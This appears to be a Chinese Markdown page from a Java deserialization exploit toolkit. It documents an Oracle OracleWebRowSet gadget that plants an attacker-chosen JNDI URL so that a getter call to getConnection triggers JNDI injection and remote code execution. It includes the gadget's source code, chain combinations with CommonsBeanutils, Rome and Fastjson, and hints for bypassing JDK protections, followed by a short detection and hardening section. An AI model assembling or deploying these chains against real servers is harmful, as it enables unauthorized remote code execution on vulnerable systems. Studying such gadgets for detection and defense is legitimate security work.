Skip to content

Latest commit

 

History

History
121 lines (95 loc) · 9.99 KB

File metadata and controls

121 lines (95 loc) · 9.99 KB

Oracle DataSource JNDI(OracleWebRowSet)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖oracle(目标 classpath 需存在 Oracle JDBC 驱动 ojdbc*.jar,其中包含 oracle.jdbc.rowset.OracleWebRowSet
  • 实现com.ar3h.chains.common.Gadget(直接实现,无基类)

作用

构造一个 oracle.jdbc.rowset.OracleWebRowSet 实例,并把它的 dataSourceName 字段设置为攻击者可控的 JNDI URL。当链上游触发其 getConnection()(属性名 connection)getter 时,Oracle 的 RowSet 内部会用 dataSourceName 发起 InitialContext().lookup(...),从而完成 JNDI 注入 → 远程加载恶意工厂类 → RCE。属于典型的「getter 触发型 JNDI sink」,位于链尾。

链接标签

@GadgetTags(tags={"DataSourceChains", "Getter", "END"})nextTagsexcludes 均为空。

  • 入口 tags
    • DataSourceChains —— 可承接 DataSourceWrapperChain 的产物(如 DWrap 声明 nextTags={"DataSourceChains"},用 Spring JdkDynamicAopProxy 把 DataSource 包一层动态代理再喂给本 gadget)。
    • Getter —— 表示本 gadget 是一个「被 getter 调用触发」的环,任何能在反序列化时调用目标对象任意属性 getter 的上游都可驱动它(如 CommonsBeanutils1BeanComparatorRomeFastjson/Jackson 的 bean 反射)。
    • END —— 终端 sink,其后不再衔接其它 gadget(故 nextTags 为空)。
  • 衔接 nextTags:无(链尾)。
  • excludes:无。

源码剖析

本类直接实现 Gadget,逻辑集中在 getObject()invoke()

@GadgetTags(tags={"DataSourceChains", "Getter", "END"})
@GadgetAnnotation(name="Oracle DataSource JNDI",
    description="oracle.jdbc.rowset.OracleWebRowSet\n需要Getter触发,fj可能触发不到getConnection就退出了,用cb最好",
    dependencies={"oracle"})
public class OracleWebRowSet implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="jndi地址", description="eg: [rmi|ldap]://host:port/obj")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";
  • getterMethodName="getConnection" / getterPropertyName="connection":写死了「触发方法」与「触发属性」。二者一一对应(JavaBean 规范中属性 connection 的 getter 即 getConnection),供上游 getter gadget 精确调用。
  • jndiUrl:唯一的 @Param,默认 ldap://127.0.0.1:1389/x,即恶意 JNDI 服务地址。
public Object getObject() throws Exception {
    Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleWebRowSet", new Object[0]);
    Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl);   // ① 关键:注入 JNDI 地址
    Vector<String> v1 = new Vector<String>();
    v1.add(0, "111");
    try {
        Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
        Reflections.setFieldValue(datasource, "matchColumnNames", v1);
        Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
        Reflections.setFieldValue(datasource, "monitorLock", null);          // ② 兼容不同驱动版本
    }
    catch (Exception e) {
        Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
        Reflections.setFieldValue(datasource, "matchColumnNames", v1);
        Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
    }
    return datasource;
}
  • ① 核心注入点:反射实例化 oracle.jdbc.rowset.OracleWebRowSet(其继承链上的 BaseRowSet 持有 dataSourceName 字段),把该字段设为 jndiUrl。Oracle RowSet 的 getConnection()dataSourceName != null 时会走 new InitialContext().lookup(dataSourceName) 分支——这正是 JNDI 注入的落点。整个类没有直接调用 getConnection,触发权交给上游(见 invoke)。
  • ② 状态占位与版本兼容metaDatamatchColumnNamesmatchColumnIndexes 被填入哑值("111" / 含一个元素的 Vector),用于规避对象在序列化/反序列化或 getter 路径上因内部字段为 null 而抛异常,保证执行流能顺利抵达 getConnectionmonitorLocknull 的调用被单独放进 try:不同版本的 ojdbc 中该字段可能不存在,抛异常时 catch 分支重设其余字段并吞掉异常继续返回,从而兼容 ojdbc6/ojdbc8 等多个驱动版本。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);        // 目标可当作 DataSource 处理
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");      // 告知上游要调用的方法
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");           // 告知上游要读取的属性名
    return this.getObject();
}
  • 本 gadget 作为链尾,invoke 不调用 chain.doCreate(context)(无内层对象),只向 GadgetContext 写入三条「触发契约」,再返回 getObject() 造好的 OracleWebRowSet 实例:
    • GETTER_PARAM_NAME_KEY="connection":上游 getter gadget(如 CommonsBeanutils1BeanComparator)据此对目标对象执行 PropertyUtils.getProperty(obj, "connection"),即调用 getConnection(),反序列化时才真正引爆 JNDI。
    • SPECIAL_METHOD_NAME_KEY="getConnection":为需要显式指定触发方法名的上游(非标准 bean 反射路径)提供方法名。
    • SUPER_CLASS_NAME_KEY=DataSource.class:声明目标可按 javax.sql.DataSource 处理,便于用 DWrap(Spring JdkDynamicAopProxy)把它包成 DataSource 动态代理,规避 Jackson 等直接调用 DataSource 时的不稳定问题。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl jndi地址 JNDI lookup 地址,形如 [rmi|ldap]://host:port/obj ldap://127.0.0.1:1389/x 无(自由填写)

适用版本与原理要点

  • 依赖:需目标 classpath 含 Oracle JDBC 驱动(ojdbc6/ojdbc7/ojdbc8 等),类 oracle.jdbc.rowset.OracleWebRowSet 才存在。try/catchmonitorLock 的兼容处理即为吞掉不同驱动版本字段差异导致的异常。

  • 触发前提:这是一个「getter sink」,自身不主动触发,必须由上游在反序列化中调用其 getConnection()description 明确提示:

    oracle.jdbc.rowset.OracleWebRowSet / 需要 Getter 触发,fj(Fastjson)可能触发不到 getConnection 就退出了,用 cb(CommonsBeanutils)最好。

    原因:Fastjson/Jackson 的 bean 反射可能因属性遍历顺序或异常提前中断而到不了 getConnection;而 CommonsBeanutils 的 BeanComparator 通过 GETTER_PARAM_NAME_KEY 精确指定属性名 connection,能稳定命中。

  • 最终效果:JNDI 注入。经典利用为 LDAP/RMI 引用注入远程恶意 ObjectFactory 实现 RCE;受高版本 JDK JNDI 防护(com.sun.jndi.ldap/rmi.object.trustURLCodebase=false、JDK 8u191+/11.0.1+ 默认关闭远程 codebase)限制时,需配合本地工厂类(如 Tomcat BeanFactory、Groovy 等)或 return-object 绕过手法。

  • 与同目录同族 sink(OracleCachedRowSetOracleFilteredRowSetOracleJoinRowSetOracleJDBCRowSet)逻辑几乎一致,仅实例化的具体 RowSet 类不同,可视目标可用类互相替换。

所属预设链

usedInChains 为空 —— 自由构件,未直接出现在 51 条预设链中。可按 tag/nextTag 手动组合:任一 nextTagsGetterDataSourceChains 的上游 + 本 gadget 作 END 收尾。典型组合:

  • [CommonsBeanutils1, OracleWebRowSet](Java 原生反序列化 → BeanComparator getter 触发,最稳,作者推荐)。
  • [Rome1/Rome2, OracleWebRowSet][Fastjson/Jackson (ToString/Native), OracleWebRowSet](后者稳定性差,见上)。
  • [..., DWrap, OracleWebRowSet](Spring AOP 动态代理包裹 DataSource,解决 Jackson 调用不稳定问题)。

关联

防御与检测

  • 检测特征
    • 序列化流/反序列化目标中出现 oracle.jdbc.rowset.OracleWebRowSet(及同族 Oracle*RowSet)类名,且其 dataSourceName 为外部 ldap:///rmi:// URL。
    • 应用日志或 APM 中出现由 RowSet getConnection 触发的 javax.naming.InitialContext.lookup 调用、指向外部主机的 LDAP/RMI 出站连接。
    • 常与上游 BeanComparator/PriorityQueue/Rome/Fastjson 反序列化指纹同时出现。
  • 加固建议
    • 对反序列化入口启用类白名单(如 JEP 290 ObjectInputFilter),拒绝 oracle.jdbc.rowset.*RowSetcom.sun.rowset.JdbcRowSetImpljavax.sql.DataSource 代理等非业务类。
    • 升级 JDK 并确认 com.sun.jndi.ldap.object.trustURLCodebase / com.sun.jndi.rmi.object.trustURLCodebase 保持默认 false,禁止远程 codebase 加载。
    • 网络侧限制业务进程对外发起 LDAP/RMI(389/1389/1099 等)连接;非必要时从 classpath 移除或收敛 Oracle JDBC 驱动版本。
    • 避免将不可信数据用于任何 RowSet/DataSourcedataSourceName/JNDI lookup 名称。